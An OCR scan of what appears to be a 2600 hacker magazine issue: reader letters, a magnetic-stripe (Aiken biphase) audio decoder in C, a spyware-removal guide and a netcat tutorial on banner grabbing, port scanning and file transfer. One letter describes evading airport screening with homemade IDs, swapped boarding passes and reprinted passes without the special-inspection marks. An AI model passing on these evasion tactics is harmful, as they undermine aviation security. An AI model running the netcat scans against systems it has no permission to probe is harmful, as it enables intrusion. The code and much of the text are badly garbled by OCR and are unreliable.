gave for cutting you off. Did they specifically state that  
they were monitoring what you were downloading? This 
doesn 't make a great deal of sense. 

Ideas 

D e a r  2600: 
I wis h  I had  been i ntroduced to this magazi ne  sooner 

than  a yea r ago .  I was actua lly pretty surprised when I 
found  out that a store in the East Boonies of Mai ne  car­
ried it a nd ,  ever si n ce, I've been obliged to pick it up .  
Natura lly, when  I had  a n  i nteresti n g  thought about 
America's newest catch p h rase, 2600 was the first p lace I 
thought of sendi n g  it. So here it i s :  

Freedom i sn 't free .  I know this m otto has  been  ci rcu­
lati ng  around the country for at least a few years n ow, i n  
hopes that people wi ll rea lize a sacrifice h a s  t o  b e  made 
to  p reserve freedom .  But i s  this a l l  the slogan rea lly 
means? Freedom i sn 't free could mean somethi ng  com­
pletely un i ntended .  If we stop thi n ki ng  i n  terms of cost, 
the sayi n g  becomes more of a slogan for the trends i n  
t h e  U . S .  as I u nderstand  t h e m .  Freedom i sn 't free, man ,  
it's i n  p ri son .  O r  a t  least headed that way. Do you  s ee  the 
subtle tra nsiti on  there? With a different con n otation ,  a 
very popu la r  sayi n g  for the defense of the govern ment's 
actions  overseas becomes a sloga n fit for the posters of 
Big B rother 's Ocean ia .  Freedom i sn 't free, not com­
p letely, not yet. I 'm j ust g lad  that there a re people out 
there, you a n d  others, who a re worki ng  in its defense.  

This is not Barnes and Noble policy but rather that  �he local store or even of that  particular person. 
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Tha n k  you for tryi ng  to educate the  masses.  Little 
mo re than a yea r ago,  I was one  of the m .  

Tom my 
You most definitely have a future in mass marketing. 

Figh ting Back 

D e a r  2600; 
I'm typi ng  this at 36 ,000 feet after readi n g  the re­

cent a rti cle on identification  a n d  air li n e  secu rity. As a 
frequent busi ness traveler, old hacker, a nd  semi-a na r­
chist. I've had plenty of ti me  to experiment with air li n e  
security a nd  identity documents i n  both ai r travel a nd  
general  use .  

Fi rst off, I a lmost n ever use any sort of ID  document 
a nd  on  the rare occasi on  that I do ,  it ' s  n ea rly a lways a 
"fa ke" one .  I say "fa ke" because I make it a point of usi n g  
ID t h a t  I have created myself, b u t  that contai ns  rea l i nfo . 
Why? To p rove the poi nt that fa ke documents wi ll fly ( no  
pun  i ntended ) ,  but  without exposu re to  persecution  for 
havi n g  fa lse documents. There is noth ing  i llega l  in this .  
Actua lly, possession  or  use of fa lse documents itself i s  
genera lly not i llega l, but usi n g  them fo r fraudu lent pu r­
poses is .  

I encourage everyone  to refuse to use ID for  every­
day thi ngs .  Si mp ly refuse it, or say you don 't have it. o r  
whatever. In many, many years of  doi n g  th i s ,  it has  never 
stopped me  from doing what I want. When asked if I have 
ID for a credit ca rd pu rchase,  for examp le,  I si mp ly say 
" no . "  Sometimes I get a deer-i n-headlig hts look,  some­
times a question  or two , but never has  someone refused 
my purchase!  

Remember that you can 't be forced to give ID  to the 
police if you ' re not d rivi n g  a vehicle. A recent Supreme 
Court case has been touted as  changi n g  that, but it does 
n ot. The recent decision  merely says that you m ust iden­
tify you rself du ri n g  a n  i nvestigation ,  but does n ot say 
you m ust show i dentifi cati on  documents. I have used 
this a n umber of ti mes du ri n g  civi l disobedience activi­
ties with 100 percent success (mean ing  I've never been 
a rrested for it) . I have had  cops literally spitti ng  on  me 
through anger at my refusa l  to provide  a nyth ing  more 
than  my name,  but they knew better than  to a r rest me  
for s u ch  a non-crime .  You m ust a lso refuse to  give you r  
birth date and  Soci a l  Security n u m ber, as  either o f  those 
items wi ll serve to fully identify you with a computer 
search ,  and void the pu rpose of refusi n g  to show ID doc­
u ments. 

When flyi ng ,  I try to have fun with the secu rity 
goons .  On many fli g hts I use an expi red ID .  Most of the 
tim e  they don 't notice this ,  but often they wi ll a nd  "se­
lect" me  for specia l  i n specti o n .  As m ost of you know, this 
means putti ng  fou r  "s"  symbols on  my boa rdi n g  pass a n d  
t h e n  doi ng a hand  search o f  my la ptop case a n d  body. 
The ludicrousness of this s hou ld be obvious ;  the terro r­
i sts we a re supposedly tryi ng  to stop a ll had  proper, cur­
rent. a nd  valid  u . S .  ID documents ! And  why does expi red 
ID matter? Does it stop bei n g  me  on the day that it ex­
pires? There can be no va lid  secu rity reason to requi re a 
current ID versus an expi red one .  

The hand  search imp lies a nother thi ng  to me ;  they 
obvious ly m ust know that the X-ray a n d  m etal  detector 
screen ings  a re i n sufficient to assure security. I mean ,  if 
they a re effective, then why the speci a l  screen ing?  That 
or  the motive for the specia l  screeni ng  i s  to pun ish  

people for n ot havi n g  "proper" ID o r  n ot conformi n g  to 
visua l  or  behavioral  expectations .  And  expla in  to me why 
a terro rist would do  somethi ng  that everyone  knows wi ll 
get you a speci a l  screeni ng ,  such as  buyi n g  a one-way 
ticket. flyi n g  standby, o r  buyi ng  at the last m in ute? I 
mean ,  do we rea lly thi n k  that someone who  i ntends  to 
b low h imself up would be concerned with the added cost 
of a rou nd  trip ti cket? Or that they'd p la n  it at the last 
m inute a nd  n ot buy a ticket in adva nce? 

Often I wi ll use one of my handmade  ID  documents, 
and never have had one questioned .  Some a re pu rposely 
not-so-good creations ,  but they never get questioned .  
I 'm thin ki n g  a s i x  yea r o ld ' s  crayon rendition  of  a d river's 
li cense wou ld be good enough  for these m ini m u m  wage 
workers. Most of the  time  they don 't look closely enough  
to  detect somethi n g  obvious .  When traveli n g  with oth­
ers, I usua lly talk them i nto switch ing ID and boardi ng  
passes with me .  The security people have never noticed 
this. For the most part they just want to match the name  
on the boa rdi ng  pas s  with the ID .  I f  they did n otice, we'd 
simp ly explai n that we got them mixed up  when  picki n g  
t h em  up  from the ti cket counter. 

Now let's talk about the matter of the Sca rlet Letter 
on the boardi ng  pass to signify people who a re selected 
fo r " random"  speci a l  i n spections .  One  thi n g  shou ld be 
rea l obvious  h ere; it's j ust a piece of paper. A boardi ng  
pas s ,  wh i ch  I printed on  my own  computer. To  be more 
clea r, one copy of the boa rdi ng pass.  All you need is a 
second  copy without the symbols ,  a n d  the security peo­
ple won't know h ow "special" you are .  Of course, it's 
probab ly i llega l  to do  this, so I'm n ot admitti n g  to ever 
havi n g  tried it nor encouragi ng  you to. But if you were 
to, say, p rint  two copies j ust for safety, and then forget 
and pu ll out the "wrong"  one, I thi n k  it would be p retty 
tough  to p rosecute you.  

Identity documents i n  general  a re p retty useless 
right  now si n ce they a re easi ly fa ked, but u n less we fight  
back ,  there wi ll com e  a ti me when they a re demanded for 
a nyth ing  you do .  Eventua lly there wi ll be systems  i n  
p lace for nea rly a nyone t o  check you r  document agai n st 
a database, a nd  of cou rse, they wi ll log that "for system 
security. " Meani ng ,  a trai l of your m ovem ents a n d  activi­
ties wi ll be generated .  Already in my home  state the bars 
can subscribe  to a service which wi ll read a nd  verify the 
data on  the magnetic strip on a d river's license .  H ow 
long  before you have to a uthenticate yourself to use the 
li bra ry, pub li c  wifi , buses/trai ns/ai rpla nes, o r  a nythi n g  
e lse? 

Refuse to use ID  as  often as possible, whi le you sti ll 
ca n .  " Pri n cip io obstate . "  ( Resist from the begi n n i n g . )  

sayn otoi d @ g m ai l. com 
Thanks for the words of wisdom. It's always a good 

idea to challenge whatever system is being crammed 
down our throats but in such a way as to not put yourself 
at risk unnecessarily. We just wonder how long such 
things will still be possible. 

G o t  a lette r fo r u s ?  S e n d  it on t h e  n e t  
to letters @ 2 6 0 0 . c o m  o r  u s e  s n a i l  m ai l : 
2 6 0 0  Lette rs,  PO Box 9 9 ,  M i d d le I s la n d ,  
NY 1 1 9 5 3  U S A .  
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print ver s i o n ( s tream ) ; 
fprin-lf ( s t ream , " \ nUSiJ.<je : %3 [ OPTIONS ] \ n \ n "  
fprintf ( stream, - d ,  --auto-thres 
fpl- intf ( s t-ream, 
fprintf ( st_ream, 
fprintf ( stream, 
fprintf ( s t ream, 
tprintf ( s t.-ream, 
fprintf ( stream, 
fprint f ( s t ream , 
fpr i nt f { stream, 
fpri o t t  ( stream, 
fprint f ( s tream, 
fpr i nt. f ( s t.ream , 
{printf ( stream, 

1 * sets the device 
[ fd I 
[ verbose J 
returns 

int d s p  i n i t ( int f d ,  
{ 

-

i o t  c h ,  frot , s r ;  

i f  

} 
" f  

i f  ( verbos e )  
fprint f ( s l de r r ,  

c h  = 0 ;  
i t  

i f  

- d ,  --dcvi c e  

- f ,  - -file 

- h i  --help 

to audio 
( de f au l t : % 5 ) \ n " ,  

F' i l e  t. o  read audio data 

-ill , - -max- level 

( u se instead o f  -d ) \ n " ) ;  
Print h e l p  i n f orma t i on \ n " ) 
Shows the maximum level \ n "  

- 5 ,  - - 5  i lent verbose 
- t , --threshold 

-v I --version Print vers ion infor"at,con , n  

rate " I  
verbos e )  

t o  set ioct l s  on 
me s s ages i f  true 

Setling aud i o  device parameters : \ n " ) ;  

I "  set audio format " /  
AFMT _S 1 6  LE \ n " ) ;  

& fmt ) =-= - l }  { 

Error : Dev ice does not support AFMT 5 1 6  L E \ n " ) ;  

/ "  set audio channels " /  
Channel s :  l \ n " ) ;  

& c h ) = = - I } {  

Conti n ued from page 31  

, ; 

" * " *  Error : Device does not support monaural recording \ n " ) ;  

i f  ( verbose ) 1* set 
f p d _ nt f ( stderr , � ample rat e :  'J, d \ n " , SAMPLF 

s r  -"'- SAMPLE RA'I'E ; 
if ( ioc t l ( fd, SNDCTL_ DSP _SPE E D ,  & s r- )  ='" - 1 )  { 

perror ( " SNDCTL DSP _SPEED" ) ; 
ex:i t ( E X I T  FAILURE ) ;  

} 
if ( s r ! =  SAMPLE _ HATE ) 

rate * /  

fpr i n t t  ( s tder r ,  * * *  Warn i n g :  Highest supported s ample rate i s  'J, d \ n " ,  s r ) ;  

return s r ;  

i n t  i ;  
short i n t  buf , l a s t  = 0 ;  

] Av e l  T.o a i d  i n  s e t t i n g  t h e  s i lence t h r e s h o l d  
to read from 

s ample _rat e )  

p r i n t: f ( " '1'�rminat i ll g  a f t e r  'i d  seconds . . .  \ n " , MAX TERM } ;  

for (.1 = 0 ; i < s ample_rat_e * MAX __ TERM; i - H ) 

xr-ead ( fd ,  & b u f , s i zeof ( s hort L nt J ) ;  

i f  ( bu f  < 0 )  
b u t  "'- -buf ; 

1 *  read f rom f d  * /  

/ "  take absolute va] ue * / 

if ( bu f  > l a s t ) { /* print if highest level * 1  
p r i n t f ( " Maximum l e ve l :  % d \ r " , b u f ) ;  
fflu s h  ( stdou l ) ; 
l a s t  = b u t ; 

p r i n t f ( " \ n " ) ;  

1 *  finds the maximum value i n  s ampl e  
* *  globa. l * *  
[ s amp l e  J 
[ s ample s i z e l of f rames in samp J e  * 1  

s h o r t  i n t  eva luate_max ( vo i d )  
{ 
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int i ;  
short int max "'- 0 ;  

for ( i  '" 0 ;  i < sample _s i z e ;  i f f ) { 
if ( s ample [ i ]  > max )

-

max = s amp l e r i 1 ;  

return max ; 

the dsp level i s  above t h e  5 i lence threshold 
fil e  descr iptor to read f rom 

thres ] s i lence threshold * j 
f d ,  int s i l ence_ thres ) 

short int buf = 0 ;  

wh i l e  ( bu f  < s i l ence_thre s ) { 

xread ( f d ,  & bu f ,  s i z eo f  ( s hort i n t ) ) ;  

i f  ( bu f  < 0 )  
buf '-' -bu f ;  

1 *  loop wh i l e  s i lent * 1  

1 *  read f rom f d  * j  

1 *  absolute value * j  

terminat i n g  when t h e  input g o e s  below the s i lence threshold 
file descr iptor ·U) read f rom 
samp l e  rate u f  device 
s i lence threshold 

u f  f r ames .Ln s amp l e  * j 
i n t  sample_ rate , int s i lence l h rc s )  

i n t  count '" 0 ,  eos = 0 ,  i ;  
short bu f ;  

s amp l e  s i z e '" 0 ;  

s i l ence_pau s e  ( f d ,  s i lence thres ) ;  

wh i l e  ( l eas ) { 

count + + ;  
R ilmpl p_s i z p = count * BUF S I Z E ;  

i f  
b u f  = - bu f ;  

j f ( bu f  > s i lence _ t h r e s ) 
0 ;  

-

eos ; 0 ;  

1 *  wait f o r  samp l e  * j  

1 *  fil l  b u f f e r  � 1 

i n t. ) * ( RUF ST7.F. * ( count. + 1 ) ) ) ;  

j *  check for s i lence �. / 
1 1 0 0 0 ) { 
1 1 0 0 0 ;  i f f )  { 

i ] ;  

number o f  f r ames i n  the h I e  * 1 
i n i t ( int f d ,  lilt verbos e )  

SNDFILE * s ndfi l e ;  
SF_INFO sfin f o ; 

mems et ( & sfin f o ,  0 ,  s i z eo f ( sfillfo ) ) ;  1 *  c l ear sfi n f o  s t ructure * 1 

& s fin f o ,  0 ) ;  1* set. s n dfile f rom fd * /  

Error : s f_open __ f d ( ) f a i l e d \ n " ) ;  

1 *  p r i n t  some s t a t i s t i c s  * j  
file format_ : \ n "  

Sample Rate : % i \ n "  
Channe l s : % i  \ n "  
Format : O x % 0 8 x \ n "  

sfinfo . channels , 
sfin f o . seekab l e ) ; 

if ( sfin f o . channe l s  1 =  1 *  ensure that the file i s  mono * 1  
f p r i n t f  ( stder r ,  " *  * *  O n l y  monaural fil e s  a r e  supported \ n " ) i 

exit. ( EX I T  FAI LURE ) ;  

samp l e  s i z e ; sfin f o . frarne s ;  1 *  s e t  s ample s i z e  k l  

return sndfi l e ;  
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1* read in data f rom l i b s ndfile 
[ s ndfil e ] SNDFILE pointer f rom sf open { )  or s f_open_fd ( )  
* *  g l o b a l  * *  

-

[ s ample J s amp l e  
[ s amp l e  s i z e ] number o f  f r ames i n  s ample * 1  

void get sndfi l e ( SNDFILE * s ndfil e )  
{ 

� 

s f_count_t count ; 

s ample "" xma l loc ( s i z eo f ( short int I * s ample_s i z e ) ;  1* a l locate memory * 1  

count -= s f  read short ( a ndfile , s ample , s ample s i z e ) ;  1 *  read i n  s ample * 1  
i f  ( count ! =  sample s i z e )  { 

-

fprint f ( stderr , " * * *  War n i n g : expected %i f r ame s , read % i . \ n " , 
s ample s i ze ,  ( in t )  count ) ; 

sample_s i z e '" count ; 

1* decodes aiken biphase and p r i n t s  binary 
[ f req thres ) f requency threshold 
* *  global *"  
( s amp l e ] sample 
[ s ampl e  s i z e ] number of f rames in s ample * 1  

void decode aiken biphase ( in t  freg thres , int s i l ence_thre s ) 
{ 

� � � 

i n t  i = 0 ,  peak -= 0 ,  ppeak = 0 ;  
i n t  *pedks '" NULL , peaks s i z e  = 0 ;  
int zerob l ; 

-

for ( i  = 0 ;  i < s ample s i z e ;  i++ ) 
if ( s amp l e [ i )  < 0 )  -

samp l e  [ i )  = - s ample [ i ]  ; 

1* absolute value * 1  

i -= 0 ;  1 *  store peak d i f ferences * 1  
while ( i  < s ample_s i z e )  { 

ppeak = peak ; 1* o l d  peak value * 1  
while ( s ampl e [ i ]  < =  s i lence_thres & &  i < sample_s i z e )  1 *  find peaks * 1  

i+ + ;  
peak = 0 ;  
while ( s ample [ i ]  > s i lence_thres & &  i < sample __ s i z e j  

i f  ( s amp l e  [ i  J > s ample [ peak ] ) 
peak = i ;  

i + + ;  
) 
if ( peak - ppeak > 0 )  { 

peaks -= xreal l oc ( peaks , s i zeof ( in t )  ( peaks_s i z e  + 1 » ; 
peak s [ peaks s i z e ) -= peak - ppeak ; 
peaks s i z e + + ;  

1 *  decode a i k e n  biphase a l lowing f o r  
f r e q u e n c y  d e v i a t i o n  based on f r e � t h r e s  * 1  

1 *  ignore first t w o  peaks and l a s t  peak * I 
zerobl = peaks ( 2 ]  ; 
for ( i  = 2 ;  i < peaks_  s i z e  - 1 ;  i + + ) { 

if ( peaks [ i ]  < « zerobl I 2 )  + ( f req thres * ( z erobl I 2 )  I 1 0 0 »  & &  
peaks [ i ]  > « zerobl I 2 )  - ( f req=thres * ( z erobl I 2 )  I 1 0 0 » ) { 

if ( peaks [ i  + 1 ]  < « zerobl I 2 )  + ( f re<L..t hres * ( z erobl I 2 )  1 1 0 0 » )  & &  
peaks [ i  + 1 ]  > « zerobl I 2 )  - ( f req_t hres * ( z erobl I 2 )  I 1 0 0 ) ) { 

p r i n U ( " l " ) ;  
zerobl -= peaks [ i ]  * 2 ;  
i + + ;  

) 
} e l s e  if ( peaks [ i ]  < ( z erobl + ( f req thres * zerobl 1 0 0 »  && 

peaks [ i ]  > ( z erobl - ( f re�thres * zerobl 1 0 0 » ) { 
p r i nt f (  " 0 " ) ;  

#i fndef D I SABLE _ VC 
zerobl '" peaks [ i ] i  

#endif 
) 

) 
prinU ( " \ n " ) ;  

1 *  main * 1  
int main ( i nt argc , char * a r g v [ ] )  
{ 

int f d ;  
SNDFILE * s ndfile '" NULL ; 

1* configuration variables * 1  
char *filename '" NULL ; 
int auto thres -= AUTO THRE S ,  max level = 0 ,  u s e  sndfile = 0 ,  verbose = 1 ;  
int sample_rate = SAMPLE_RATE , sIlence __ thres = SILENCE 5HRE S ;  

1 *  getopt variables * 1  
int c h ,  option index ; 
static struct opt ion long options { I  = { 

) ; 

{ " auto-thres " ,  0 , 0 ,  'a ' } ,  
{ " device " ,  1 , 0 ,  ' d ' } ,  
{ " fil e " ,  1 ,  0 ,  ' f ' } ,  
{ " he l p " ,  0 , 0 ,  ' h ' } ,  
{ " ma x - l evel " ,  0 ,  0 ,  ' m ' } ,  
{ " s i l en t " ,  0 , 0 ,  ' s ' } ,  
{ " thresho l d '  1 , 0 ,  ' t ' } ,  
{ " ve r s i o n " ,  0 ,  0 ,  ' v ' } ,  
{ O , 0 , 0 ,  O }  

1 *  proc e s s  command l i ne arguments * I 
while ( 1 )  { 

c h  '" getopt_lon g ( argc , argv , " a : d : f : hmst : v " , long options , &option _index ) ;  
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if ( c h """" - 1 )  
break ; 

switch ( c h )  { 
c a s e  ' a ' : /* auto-thres * / 

auto _ thres "" atoi ( optarg ) ; 

break ; 

case ' d ' : /* device * /  

fi l ename "" x s trdup { optarg ) ;  

break ; 
c a s e  ' f ' : /* file * /  

filename "" x s trdup ( optarg ) ; 

brea k ;  
c a s e  ' h ' : / *  h e l p  * /  

p r int_he l p { stdou t ,  argv [ O ] ) ;  

e x i t  ( EX I T_SUCCESS ) ;  

break ; 
case ' m ' : /* max- level * /  

max_level "" 1 ;  
break ; 

case ' s ' : /* s i lent * /  

verbose "" 0 ;  
break ; 

c a s e  ' t ' : /* threshold * /  

auto_t hres "" 0 ;  
s i lence _ thres "" atoi ( optarg ) ; 

break ; 

case ' v ' : /* version * /  

print_ver s i o n ( stdout ) ; 

exit ( EX I T_SUCCE S S ) ; 

break ; 
d e f a u l t :  /* d e f a u l t  * /  

p r i nt_he l p (  stder r ,  argv [ O J ) ;  

exit ( E X I T_FAILURE ) ; 

break ; 

if ( verbose ) { 

print version ( stderr ) ;  

f p r i ntf ( s tderr , " \ n " ) ;  

/ *  p r i n t  vers ion * / 

if ( u se_sndfile && max_leve l )  / *  sanity check * /  

f p r i nt f ( stde r r ,  " * * *  Error : - f  and - m  switches d o  not mix ! \ n " ) ;  

exit ( E X I T  FAILURE ) ;  

i f  ( fi l ename """" NULL ) 

fi l ename "" x s t rdup ( DEVICE ) ;  

/ *  set d e f a u l t  i f  no device i s  spec ified * /  

i f  ( verbos e )  / *  open device f o r  reading * /  

f p r i nt f ( stderr , " * * *  Opening % s \ n " ,  filename ) ;  

f d  == open ( fi l ename , O __ RDONLY ) ;  

i f  ( f d =; =;  - 1 )  { 

perror ( " open ( ) " ) ;  

exit ( E X I T_FAILURE ) ;  

if  ( u s e  s ndfile ) /* open sndfile or s e t  d e v i c e  parame t. e r s  * /  

s ndfil; =; sndfile_init ( fd ,  verbose ) ;  

e l s e  

s ample_Jate =; dsp_init ( fd ,  verbose ) ;  

i f  ( max_leve l )  { 

p r i n t_max_Ieve l ( f d ,  s ample_rate ) ;  
exi t ( EXT'I'_SUCCRSS ) ; 

/* s how u s e r  max imum d s p  level * / 

if ( ! s i lence_thre s )  { /* s i lence thres sanity check * /  

f p r i nt f ( stder r ,  " * * *  Error : I n v a l i d  s i lence t h r e s h;l d \ n " ) ;  

exit ( EX I T_FAILURE ) ; 

if ( u se_sndfile ) 

get_sndfile ( sndfile ) ; 

e l s e  

/ *  r e a d  samp l e  * /  

1. f  ( auto thres ) /* automat i c a l l y  set threshold * /  

s i lenc;_thres =; auto_thres * evaluate_max { )  / 1 0 0 ;  

i f  ( verbose ) /* print s i lence threshold * /  

f p r i nt f ( stder r ,  " * * *  S i lence thresho l d :  % d  ( % d % %  o f  max ) \ n " , 

s i lence_thre s ,  auto_thre s ) ;  

decode_aiken_bipha s e ( FREQ _THRE S ,  s i lence_thre s ) ;  / *  decode aiken biphase * /  

c los e ( fd ) ;  / *  c l o s e  fi l e  * /  

free ( s amp l e ) ; /* free memory * /  

e x i t ( EX I T_SUCCE S S ) ; 

return 0 ;  
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by lo u n g eTa b 
lo u n geTa b@hotma i L. com 

This i s  an a rti cle in response to "Scumwa re ,  
Spywa re, Adware, Snea kwa re" i n  2 1 : 2 .  First I 
would li ke to commend  sh inoha ra on writi ng  a 
g reat a rti cle about the nastiest of nasties .  One  
th i ng  I noticed was  where he  sa i d  MSCO N FIG was 
avai la b le i n  a l l  versions  of Microsoft si nce 9S. Ac­
tua lly, MSCO N FIG i sn 't i n cluded with a ny i n sta lla­
tion  options  of Wi n 2k, but a ny versi on of 
MSCO N FIG wi ll work under  Wi n 2 k. I recommend  
the  XP version  which i s  avai la b le at http ://down­
loads .thetechguide .com/msconfig .zi p .  I thought  
I wou ld a lso add  my own process for eradicati n g  
a ll types o f  scumware .  

Are you Infected? 
Fi rst, how do  you know if you a re infected 

with scumware? If any of the fo llowi ng  sound  
fami liar :  

A gangload of popups, even when not con­
nected to the Internet, 

Internet Explorer toolbars (95 percent are 
scum ware), 

Homepage Hijacking (inability to change 
homepage), 

Internet activity from modem when no Inter­
net applications are running, 

Numerous processes running that  have seem­
ingly random names, 

A process that has "XxX" or "teen " in its name 
(quit looking at  so much porn), 

Serious decay in system speed, 
then more than  li kely you a re i nfected with 

scu mwa re .  What to do next? Let's get ri d of it. All 
of it. 

Remova l 
The fo llowi n g  i n structions  a re fo r users of a ll 

versi ons  of Wi ndows. First you have to down load ,  
i n sta ll, a nd  update these programs .  It  i s  ex­
tremely important for you to manua lly update 
these p rograms  because some of them do not 
have the  latest defi nitions  when you down load 
them.  
CWSh redder  http://www. majorgeeks. com/down 
- load4086. html 
Spybot S&D http://www.safer-networking. org/ 
-en/download/index. html 

Adawa re SE http://www. majorgeeks. com/down 
- load506. html 
SpySweeper http://www. webroot. com/wb/down 
- Ioads/index.php 
HijackThis http://www.spychecker. com/program 
-/h ijackth is. html 

Now go a h ead and resta rt your computer i nto 
Safe Mode ( hit FS before the  Wi ndows sp lash  
screen comes up) .  After you r  computer has  
booted i nto safe mode you wi ll want to  fi rst run 
CWSh redder. After la unch ing ,  select " Fix" and it  
wi ll sea rch fo r and remove any CoolWebSearch 
programs .  CoolWebSea rch li kes to change many 
Internet Explorer setti ngs ,  add ing thei r  own web­
sites to trusted sites , changi ng  your sea rch p ref­
erences and  homepages, a n d  redi recti n g  you to 
thei r  sites whenever you mistype a U RL. CW­
Sh redder s hou ld take less than  a minute to ru n .  

Next on t h e  li st is  Spybot S & D .  R u n  this nifty 
little program and  it wi ll scan the registry a n d  
fi les for occu rrences o f  scumwa re .  Select "Search 
and Destroy" from the menu on the  left and then 
scan on the screen it b ri ngs  up. This program wi ll 
ta ke about 5-10 min utes to run .  

After that i s  done ,  run Adawa re S E .  For this 
program select smart system sca n .  This p rogra m  
a lso searches th rough  t h e  registry and  fo lders for 
scumwa re p rograms .  This scan ca n ta ke a nywhere 
from 10 minutes to 2 hou rs .  

The fi n a l  fi le searchi ng  p rogram ,  SpySweeper, 
is one  of the  best p rograms  avai la b le i n  my opin­
ion  and  it wou ld be  worth it to pu rchase the  fu ll 
versi on .  This p rogra m  does an i n -depth scan of 
a ll fi les, fo lders, and regi stry entries and re­
moves from them al l  the leftovers that the p revi­
ous  p rograms  d idn 't catch . From the main menu  
select "Sweep Now" a n d  t hen  "Sta rt. " After t he  
scan i s  comp lete you  wi ll be p rom pted for which 
fi les you want to be qua rantined .  This scan i s  
si mi la r  to  Adaware a n d  can ta ke anywhere from 
20 min utes to 4 hours .  

Fi na lly, run HijackThis at the men u select 
Scan a n d  it wi ll d isplay a comp lete li st of B H Os ,  
Internet Explorer Too lbars ,  Sta rtup items,  and  
extra buttons  added to  Internet Exp lo rer. Be sure 
you understa nd  what each entry is befo re you 
remove it! You may want to keep many of these 
entries .  
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Kazaa 
Did you ever have Kazaa i n sta lled on you r  

computer? I f  s o ,  go t o  http ://www.spychecker 
-.com/program/kazaagone . htmL  and down Load 
Kazaa Begone to eLim inate a LL traces of Kazaa 
aLong with the bund Led software that came  with 
it. 

Inte r n et ExpLo rer 
Sick of Internet Exp Lo rer? Can 't fig u re out how 

to compLeteLy remove it from you r  system?  Down­
Load  IEeradicator from http ://www.Litepc.com/ 
-ieradicator. htm L to compLeteLy remove it from 

your computer. Be su re to read the  documenta­
tion  because it won 't work with Wi n XP  or Wi n 2 k  
s r2 .  

Summa ry 
Your  computer shou Ld now run  m uch faster 

si nce you freed up a Lot of p rocessi n g  power from 
p rocesses that were abso LuteLy worth Less .  At this 
point I usua LLy remove aLL the  app Li cations  except 
SpySweeper a nd  a Lways Let it r un  in the back­
ground to notify you of any changes that a re 
made to you r  Internet ExpLorer fi les a nd  sta rtup 
fi les . 

More Fun with Netcat 
by DJ Wi lliams 

The fo LLowi n g  a rti cle is  a conti n uation  to Mo­
bi usRenoi re 's o rigi n a L  submission  i n  2 1 : 2  " Fu n  
With Netcat." N etcat ( n c ) ,  created by  Hobbit, i s  
known as  the "Swiss a rmy knife" of secu rity/hack­
i n g  tooLs. This is  most Li keLy due  to the  tooL 's ex­
tensive featu res a n d  capabi lities .  Before we 
expLo re some additiona L  uses of netcat. you a re 
advi sed to get written permission  before execut­
i n g  a ny of these examp Les on systems  you do not 
own . Su re, you may be  sayi ng  "screw that" yet 
even on work systems ,  emp Loyees have been fi red 
for runn ing  too Ls without permissi on .  

A s  described i n  the  2 1 : 2  a rti cle, n etcat used 
with basic options  nc  [ host] [po rt] a LLows 
TCP/ U D P  (-u)  con nections  on a seLected port to 
perform a va riety of tasks .  The focus of this a rti­
cle is to exp Lo re additiona L  uses, so Let's take a 
Loo k  at some more exa mp Les. 

Web S e rver ( ba n n er) Di scovery 
Most web servers a re confi g u red by defau Lt to 

revea L the type a n d  versi on ,  which may be he Lpfu L 
to a n  attacker. Wait . . .  I know some of you a re 
sayi ng  I changed my banners to obfuscate the  
web server (i . e . ,  RemoveServerH eader  featu re in  
the  U R LScan secu rity too L  to  mask  IIS web 
servers) . The poi nt h ere i s  that someone cou Ld 
have changed the banne r  a n d  you may want to 
va Lidate the output with a n  a Lternate too L  such as  
net-sQua re's HTTPri nt (www. net-square .com/ 
-http ri ntj) . With that said ,  Let's Loo k  h ow web 
server discovery can be accomp Li shed .  Fi rst we 
need to estab Li sh  a con nection  to the  ta rget web 
server on the defau Lt HTTP port. 
n c  - vv t arget 8 0  

The - w  option  i n dicates that netcat i s  r u n -
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n ing  i n  very verbose mode,  fo llowed by the  ta r­
get. which can be a domain or IP, a nd  the  defau Lt 
web server port (80) . Once netcat con nects , you 
m ust type i n  a n  HTTP di rective such as: 
HEAD / HTTP/1 . 0 

<en t er> 

<en t er> 

The rep Ly s hou Ld i n dicate what type of web 
server is  r unni ng .  You can substitute the H EAD  di­
rective for the O PTIONS di rective to Lea rn mo re 
a bout the  web server. An examp Le of the  output is  
Listed beLow. 
n c  -vv 10 . 10 . 10 . 1  80 

www . exampl e . com [ 10 . 10 . 10 . 1J 80 ( h t tp )  

- open 

HEAD / HTTP/] ' O  

HTTP/1 . 1  3 0 2  Found 

Da t e :  Sun , 22 Aug 2 0 0 4  18 : 0 9 : 21 GMT 

Server : S tron ghold/2 . 4 . 2  Apache/1 . 3 . 6  

- C2Ne tEU/2 4 12 ( Un i x )  mod_ fa s t cgi/2 . 2 . 12 

Loca t i on : h t tp : //www . exampl e . com/in dex . 

-h tml 

Conne c t i on : close 

Con t e n t - Type : text/h tml; chars e t = i s o ­

- 8 8 5 9 -1 

Port S ca n n i n g  
As  a fast a Lternative t o  Fydo r's nmap  (www. in 

-secu re. o rg/nmap/) ,  the ki ng  of port sca n ners, 
n etcat ca n be used . Is this the best choice? I a m  
su re i t  i s  not, yet t h e  pu rpose o f  this a rticle i s  to 
demonstrate netcat's ab i lities .  Let's ta ke a Loo k  
a t  the  syntax t o  u s e  netcat as a port sca n n er. 
nc -v -r -w3 - z  t arge t port1-portn 

The -v option  i ndicates that netcat i s  runn ing  
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i n  verbose mode ,  the  -r is to ra ndom ly select 
ports from p rovided list, the -w is the  wait ti me  i n  
seconds ,  a n d  t h e  - z  option  p revents sendi ng  data 
to the TCP con necti on .  The ta rget can be  a do­
main o r  IP  and the port li st fo llows (use a space 
to sepa rate ) .  An examp le of a TCP port scan (on a 
* nix server) is li sted below. Note: fo r U D P  add  the  
-u option  and associated po rts . 
nc - v -z -r - w3 10 . 9 6 . 0 . 2 4 2  2 0 -21 23 8 0 -

" 4 4 5  I s ort -k 3 b  

www . exampl e . com [ 10 . 9 6 . 0 . 2 4 2 ]  21 open 

www. exampl e . com [ 10 . 9 6 . 0 . 2 4 2 ]  23 open 

www. exampl e . com [ 10 . 9 6 . 0 . 2 4 2 ]  80 open 

www . exampl e . com [ 10 . 9 6 . 0 . 2 4 2 ]  4 4 3  open 

FTP 
Yes ,  you read it right netcat can be used as a 

crude FTP tool. Fi rst you wi ll n eed netcat i n ­
sta lled on  both machines .  I tested both a bi n a ry 
a n d  text tra nsfer. They both worked fi ne .  Note: 
fo r best resu lts , make s u re the sender  has a sma ll 
de lay (-w); the  receiver does n ot requi re a de lay. 
Go a h ead  and  try it out! An exa mp le of the out­
put is li sted below. 

Sender 
nc - w3 h o s t  port < fil e 

The -w wait ti me  i n  seconds ;  h ostjIP of re­
ceiver; < redi rect fi le i n  
n c  -w3 12 7 . 0 . 0 . 1  2112 < help . txt 

